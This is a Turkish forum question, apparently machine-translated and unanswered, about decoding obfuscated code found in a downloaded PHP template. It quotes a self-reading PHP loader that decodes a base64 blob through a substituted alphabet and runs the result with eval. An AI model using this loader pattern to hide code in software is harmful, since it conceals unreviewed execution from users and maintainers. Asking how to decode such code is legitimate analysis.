Nasıl bir base64 dize dönüştürebilirim?

0 Cevap php

Ben indirilen PHP şablon kullanarak, ve ben de bunu manipüle içine iken, ben bunun bir parçası base64 gibi görünen şifreli olmuştu biliyoruz.

Ben biraz şans ile, birkaç çevrimiçi dönüştürür çalıştı.

Ben <? ?> etiketlerinin dışında rastgele bir karakter ton ardından, bu kod biraz var:

<?$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=3804;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDM3MiksJzNzYWZaakc1NEhGcU1kTEFPZzl3Ykl6UFIvcGxLOCs3ZVVjeFFCV21ZMXVTNk5Ycmh2RENudDBFMlRvSmtWaXk9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>

Ben bu içine çözmesi mümkün oldu:

$O000O0O00=fopen($OOO0O0O00,'rb');while(--$O00O00O00)fgets($O000O0O00,1024);fgets($O000O0O00,4096);$OO00O00O0=(base64_decode(strtr(fread($O000O0O00,372),'3safZjG54HFqMdLAOg9wbIzPR/plK8+7eUcxQBWmY1uS6NXrhvDCnt0E2ToJkViy=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));eval($OO00O00O0);

Ancak, aşağıdaki Bu kodu vardır:

http://pastebin.com/Z2uMwS9C

Ben dönüştürmek için nasıl hiçbir ipucu var. Herhangi bir fikir? Ben dönüştürmek için Not Defteri'ni + + kullanmaya çalıştı ve bu temelde çok uzun olduğunu söyledi - Ben kod kesimleri çok uzun olduğunu düşünüyorum.

Teşekkürler.

0 Cevap